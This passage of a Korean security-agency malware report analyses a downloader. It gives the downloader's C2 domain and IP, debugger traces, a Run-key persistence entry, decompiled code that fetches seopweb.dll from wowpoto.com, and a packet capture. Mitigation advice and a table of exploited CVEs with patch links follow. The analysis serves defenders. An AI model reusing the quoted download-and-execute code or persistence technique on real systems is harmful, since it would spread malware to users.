- 악성코드 행위 : 악성코드 실행 시 자동 실행 등록 이후 특정 도메인에 접속하여 특정 파일을 다운로드를 시도


- 네트워크상의 악성행위

도메인	IP	용도	상세내용
wowpoto.com	183.2.242.113 (중국)	정보유출지	다운로더

- 운영체제상의 악성행위

항목	내용
행위	<pre> 0018FF0C 00404D9E CALL to CreateFileA 0018FF10 004BD140 FileName = "C:\Users\jin\Desktop\FAE81A3T7NCOA29HN190Z7.exe" 0018FF14 40000000 Access = GENERIC_WRITE 0018FF18 00000000 ShareMode = 0 0018FF1C 00000000 pSecurity = NULL 0018FF20 00000002 Mode = CREATE_ALWAYS 0018FF24 00000020 Attributes = ARCHIVE 0018FF28 00000000 hTemplateFile = NULL 0018FF2C 004BD165 </pre>
	<pre> 0018FEA4 00404FD7 CALL to CreateProcessA 0018FEA8 00000000 ModuleFileName = NULL 0018FEAC 004BD140 CommandLine = "C:\Users\jin\Desktop\FAE81A3T7NCOA29HN190Z7.exe" 0018FEB0 00000000 pProcessSecurity = NULL 0018FEB4 00000000 pThreadSecurity = NULL 0018FEB8 00000001 InheritHandles = TRUE 0018FEBc 00000000 CreationFlags = 0 0018FEC0 00000000 pEnvironment = NULL 0018FEC4 00000000 CurrentDir = NULL 0018FEC8 0018FEE8 pStartupInfo = 0018FEE8 0018FECC 0018FED8 pProcessInfo = 0018FED8 0018FED0 004BD165 </pre>
	특정 파일 생성 및 실행

행위



```
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"956ISDOFS9003NX" =
C:\DOCUME~1\admi
n\LOCALS~1\Temp\wowpoto.exe
```

자동실행

네트워크

```

90     v6 = (int (__cdecl *)(int, int, const char *, char *))sub_4022E8(v1, edi0, v3);
91     if ( v6 )
92     {
93         v37 = v6(
94             v38,
95             v3,
96             "A6say4IAARxSRPhUdVynVYX2PKExEg3He2li85VTQaSoAcSnS+vN18NbD5BN3tBoh0SFtKIIdnS0o1ww02oy8we1nx/iV+97I1"
97             "8Mvv0s/fXh1R8LCdh7ILqA9Y3jghCMN6FAwEzX1MY0c)r-sPGIz/26MY7tX02p733q2UFTtbEPHh0g4tv7UwU230pFLf0mig/1SWA"
98             "sTi43UtmpuArZkS0/e/c0a13w3RQz3wVwLFpJ/9XhWQ9ZjSXCHLDiy0eyAavv01hCzTLMY1Id/rwa8mIQbF0JE+0KA/uT8tVetFP"
99             "d37uehI79odg89bn1I1rUGIegej2TPPhZjdXzrb286No1B1IELDQ0pQC5RLItgyhFZd8DqkVxpLyCobHoffM7AFhcgrAsus+8h5+"
100             "cRtw+pQ+vubcj0sIMp08bu08TMB/bR8f6ybQDKMorkAJ",
101             8v22);
102     sub_4023EC(v1);
103     }
104     sub_4027C4(v4);
105     result = sub_4027C4(v38);
106     if ( v37 )
107         break;
108 }
109 if ( Mozilla_InternetOpenURL_sub_40169E(
110     edi0,
111     0,
112     (int)"http://wowpoto.com/seopweb.dll",
113     (int)"C:\\Program Files\\AppPatch\\\\lpDllName" ) )
114 {

```


8.8.8.8	10.0.2.15	DNS	87 Standard query response 0x4e96 A wowpoto.com A 183.2.242.113
10.0.2.15	183.2.242.113	TCP	66 49172 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=4 SACK_PERM=1
10.0.2.15	239.255.255.250	UDP	698 52712 → 3702 Len=656
10.0.2.15	224.0.0.252	NBNS	92 Name query NBSTAT *<00><00><00><00><00><00><00><00><00><00>
183.2.242.113	10.0.2.15	TCP	60 80 → 49172 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460
10.0.2.15	183.2.242.113	TCP	54 49172 → 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
10.0.2.15	183.2.242.113	HTTP	165 GET /seopweb.dll HTTP/1.1
183.2.242.113	10.0.2.15	TCP	60 80 → 49172 [ACK] Seq=1 Ack=112 Win=65535 Len=0
PcsCompu_82:40:04	Broadcast	ARP	42 Who has 211.115.106.78? Tell 0.0.0.0
PcsCompu_82:40:04	Broadcast	ARP	42 Who has 211.115.106.210? Tell 0.0.0.0
10.0.2.15	8.8.8.8	DNS	86 Standard query 0xcab5 PTR 113.242.2.183.in-addr.arpa
183.2.242.113	10.0.2.15	HTTP	173 HTTP/1.1 302 Found
183.2.242.113	10.0.2.15		
10.0.2.15	183.2.242.113		
10.0.2.15	183.2.242.113		
183.2.242.113	10.0.2.15		
10.0.2.15	8.8.8.8		
8.8.8.8	10.0.2.15		
10.0.2.15	183.2.242.113		
10.0.2.15	239.255.255.250		
fe80::95d8:5528:d4c:6...	ff02::c		
fe80::95d8:5528:d4c:6...	ff02::c		
10.0.2.15	239.255.255.250		

4. 향후 전망

□ 악성코드 유포방법

- 복합 취약점을 이용한 악성코드 유포 지속
 - Adobe Flash Player, Java Applet, MS IE, MS Edge, MS XML 취약점 등을 복합적으로 악용하여 악성코드를 유포시키는 사례가 나타나고 있다.
- 이용자가 많거나 관리가 부실한 홈페이지를 통한 악성코드 유포 지속
 - 이용자가 많은 홈페이지를 통해 악성코드 유포 사례가 나타나고 있다.
 - 관리가 부실한 홈페이지를 통해 게시물에서 악성코드를 유포하는 사례가 나타나고 있다.
- VBscript를 이용한 램닛(Ramnit) 악성코드 유포 지속
 - 스크립트 실행만으로 악성코드를 유포하는 사례가 지속적으로 나타나고 있다.
- 다양한 가상통화 채굴 스크립트 및 악성코드 유포 지속
 - 가상통화의 가치가 상승함에 따라 가상통화를 요구하거나 채굴하는 악성코드의 유포 사례가 나타나고 있다.
 - 자바스크립트 기반의 악성 스크립트를 이용한 가상통화 채굴 사례가 나타나고 있다.
- 단축 URL을 악용한 악성 스크립트 유포 지속
 - 홈페이지 문의 게시판에 악용하여 악성 스크립트를 유포하는 사례가 나타나고 있다.
- 이메일 첨부파일(문서 파일) 및 링크를 통한 악성코드 유포 지속
 - 이메일을 통해 문서 첨부파일 및 악성 스크립트가 포함된 링크로 악성코드를 유포하는 사례가 지속적으로 나타나고 있다.

□ 악성코드 조치방안

○ 개인 및 기업의 조치보안 방안

- 개인 및 기업은 보안점검 및 보안패치 등 보안강화를 통해 금융정보 유출 및 사이버 공격에 각별한 주의를 기울여야 한다.

※ 웹 취약점점검 신청 : <http://www.boho.or.kr/webprotect/webVulnerability.do>

※ 홈페이지 해킹방지 도구 : <http://www.boho.or.kr/download/whistlCastle/castle.do>

※ 휘슬 신청 : <http://www.boho.or.kr/download/whistlCastle/whistl.do>

○ 개발 시점의 시큐어코딩을 통한 홈페이지 구축 권고

- 기업에서 근본적으로 홈페이지 개발 시점부터 보안의식 및 시큐어코딩으로 홈페이지를 구축하고, 주기적인 취약점 점검 및 패치를 적용하여 웹서버가 해킹되지 않도록 사전에 방지해야 한다.

○ 최신 보안 업데이트 권고

- 이용자는 MS 윈도우의 보안 업데이트를 항상 최신 상태로 유지할 것을 권장하며, Adobe Flash Player, Java, MS 제품군 관련 취약점에 의해 악성코드에 감염되지 않도록 주의하여야 한다. 또한 안티바이러스(백신)을 이용하여 주기적으로 점검하여야 한다.

- MS 윈도우 최신 보안 업데이트 적용 (자동보안업데이트 설정 권장)

※ MS 업데이트 사이트 : <http://www.update.microsoft.com/microsoftupdate/v6/default.aspx?ln=ko>

※ (윈도우7) 제어판 - 시스템 및 보안 - Windows Update

- Adobe Flash Player 최신 버전 업데이트 적용

※ 최신버전 : Adobe Flash Player 32.0.0.207 (<http://get.adobe.com/kr/flashplayer/>)

- Oracle Java(Java Runtime Environment) 최신 버전 업데이트 적용

※ 최신버전 : Java SE Runtime Environment 12.0.1

(<https://www.oracle.com/technetwork/java/javase/12-0-1-relnotes-5290047.html>)

- MS Edge 최신 버전 업데이트 적용

※ MS 보안 업데이트 : <https://docs.microsoft.com/ko-kr/security-updates/SecurityBulletins/2017/ms17-007>

[붙임] 악성코드 S/W 취약점 정보

구분	내용	상세 취약점 정보	보안 업데이트
인터넷 익스플로러 취약점	CVE-2010-0249 CVE-2011-1255 CVE-2012-4792 CVE-2013-1347 CVE-2013-2551 CVE-2013-3897 CVE-2014-0322 CVE-2014-1770 CVE-2014-1776	Internet Explorer를 사용하여 특수하게 조작된 웹페이지에 접속할 경우 원격 코드 실행 허용 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0249 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1255 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4792 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1347 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2551 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3897 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0322 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1770 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1776	http://technet.microsoft.com/en-us/security/bulletin/MS10-002 http://technet.microsoft.com/ko-kr/security/bulletin/ms11-050 http://technet.microsoft.com/ko-kr/security/bulletin/MS13-008 http://technet.microsoft.com/ko-kr/security/bulletin/ms13-038 http://technet.microsoft.com/security/bulletin/MS13-037 http://technet.microsoft.com/ko-kr/library/security/ms13-080.aspx http://technet.microsoft.com/en-us/security/advisory/2934088 http://technet.microsoft.com/ko-kr/library/security/ms14-035.aspx http://technet.microsoft.com/ko-kr/library/security/2963983.aspx
	CVE-2008-2551	Icona SpA C6 Messenger 1.0.0.1 ActiveX 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2551
	CVE-2014-3212	KMPlayer 버퍼 오버 플로우 취약점	http://cdn.kmplayer.com/KMP/Download/release/chrome/4.1.5.8/KMPlayer_4.1.5.8.exe
	CVE-2015-2419	MS Internet Explorer 10과 11에서 JScript 취약점으로 인한 원격 코드 실행	http://technet.microsoft.com/security/bulletin/MS15-065
	CVE-2016-0189	MS Internet Explorer 9와 11에서 Script Engine 취약점으로 인한 원격 코드 실행	http://technet.microsoft.com/library/security/ms16-051
	CVE-2012-4969	execCommand 해제 후 사용 취약점	https://technet.microsoft.com/library/security/ms12-063
	CVE-2018-8174 CVE-2018-8373	VBScript 엔진이 메모리의 개체를 처리하는 방식에 원격 코드 실행 취약점	https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8174 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8373

Adobe Flash Player 취약점	CVE-2010-2884 CVE-2011-2140 CVE-2012-0754 CVE-2013-0634 CVE-2014-0497 CVE-2014-0515 CVE-2014-0556 CVE-2014-0569 CVE-2014-8439 CVE-2015-0311 CVE-2015-0313 CVE-2015-3043 CVE-2015-0336 CVE-2015-3113 CVE-2015-3133 CVE-2015-5119 CVE-2015-5122 CVE-2016-1019 CVE-2018-4878	메모리 손상으로 인한 코드 실행 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2884 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2140 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0754 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0634 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0497 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0515 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0556 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0569 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8439 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0311 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0313 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3043 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0336 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3113 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3133 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5119 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5122 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1019 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4878	http://www.adobe.com/support/security/advisories/apsa10-03.html http://www.adobe.com/support/security/bulletins/apsb11-21.html http://www.adobe.com/support/security/bulletins/apsb12-03.html http://www.adobe.com/support/security/bulletins/apsb13-04.html http://helpx.adobe.com/security/products/flash-player/apsb14-04.html http://helpx.adobe.com/security/products/flash-player/apsb14-13.html http://helpx.adobe.com/security/products/flash-player/apsb14-21.html http://helpx.adobe.com/security/products/flash-player/apsb14-22.html http://helpx.adobe.com/security/products/flash-player/apsb14-22.html https://helpx.adobe.com/security/products/flash-player/apsa15-01.html https://helpx.adobe.com/security/products/flash-player/apsa15-02.html https://helpx.adobe.com/security/products/flash-player/apsb15-06.html https://helpx.adobe.com/security/products/flash-player/apsb15-05.html https://helpx.adobe.com/security/products/flash-player/apsb15-14.html https://helpx.adobe.com/security/products/flash-player/apsb15-16.html https://helpx.adobe.com/security/products/flash-player/apsa15-03.html https://helpx.adobe.com/security/products/flash-player/apsa15-04.html https://helpx.adobe.com/security/products/flash-player/apsa16-01.html https://helpx.adobe.com/security/products/flash-player/apsb18-03.html
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	CVE-2013-0633	스택 오버플로우로 인한 임의의 코드를 실행하는 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0633	http://www.adobe.com/support/security/bulletins/apsb13-04.html
	CVE-2010-0188	Adobe Acrobat Reader의 보안취약점을 이용	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188	http://www.adobe.com/support/security/bulletins/apsb10-07.html
Java 애플릿 취약점	CVE-2011-3544 CVE-2012-0507 CVE-2012-1723 CVE-2012-4681 CVE-2012-5076 CVE-2013-0422 CVE-2013-2460 CVE-2013-2465 CVE-2012-0422	드라이브 바이 다운로드 방식, JRE 샌드박스 제한 우회 취약점 이용	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3544 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0507 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4681 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5076 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0422 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2460 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2465 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0422	http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html#PatchTable http://www.oracle.com/technetwork/topics/security/javacpjun2012-1515912.html http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1885715.html http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html http://www.oracle.com/technetwork/topics/security/alert-cve-2013-0422-1886849.html http://www.oracle.com/technetwork/topics/security/javacpjun2013-1899847.html http://www.oracle.com/technetwork/topics/security/javacpjun2013-1899847.html
	CVE-2013-0431	JAVA SE 7의 JMX 원격 코드 실행 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0431	http://www.oracle.com/technetwork/java/javase/downloads/ava-ee-sdc-6u4-jdk-7u11-web-dl-1900868.html
	CVE-2013-1493	JAVA CMM 원격 코드 실행 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1493	https://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html
	CVE-2013-2423	JAVA Reflection을 남용한 원격 코드 실행 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2423	https://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html
MS OLE 취약점	CVE-2014-6332 CVE-2014-6352 CVE-2017-0199	Windows OLE 자동화 배열 원격 코드 실행 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6332 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6352 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0199	http://technet.microsoft.com/security/bulletin/MS14-064 http://technet.microsoft.com/ko-kr/library/security/3010060.aspx http://www.catalog.update.microsoft.com/Search.aspx?q=KB2589382

MS XML 취약점	CVE-2012-1889	XML Core Services의 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1889	http://technet.microsoft.com/ko-kr/security/bulletin/MS12-043
MS Silverlight 취약점	CVE-2013-0074	Silverlight의 취약점으로 인한 원격 코드 실행	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0074	http://technet.microsoft.com/library/security/ms13-022
MS Edge 취약점	CVE-2016-7200 CVE-2016-7201	스크립팅 엔진 메모리 손상 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7200 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7201	http://technet.microsoft.com/ko-kr/library/security/ms16-129.aspx
MS CS 취약점	CVE-2011-2014	Windows XP, 2003, Vista의 ADAM SSL을 통한 LDAPS 인증 우회 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2014	http://technet.microsoft.com/ko-kr/library/security/ms11-086.aspx
Blackmoon FTP 서버 취약점	CVE-2011-0507	포트 명령 버퍼 오버 플로우 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0507	https://blackmoon-ftp-server.en.softonic.com/?ex=DSK-173.3
APPLE iTunes 취약점	CVE-2012-0634	iTunes에서 사용되는 WebKit 메모리손상 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0634	http://support.apple.com/ko-kr/HT202433
Webfolio CMS 취약점	CVE-2012-1899	XSS 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1899	https://sourceforge.net/projects/webfolio-cms/?source=directory
Apach Tomcat 취약점	CVE-2012-3544	데이터 스트리밍을 통한 DOS공격 취약점	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3544	http://www.oracle.com/technetwork/topics/security/cpujan2014-1972949.html



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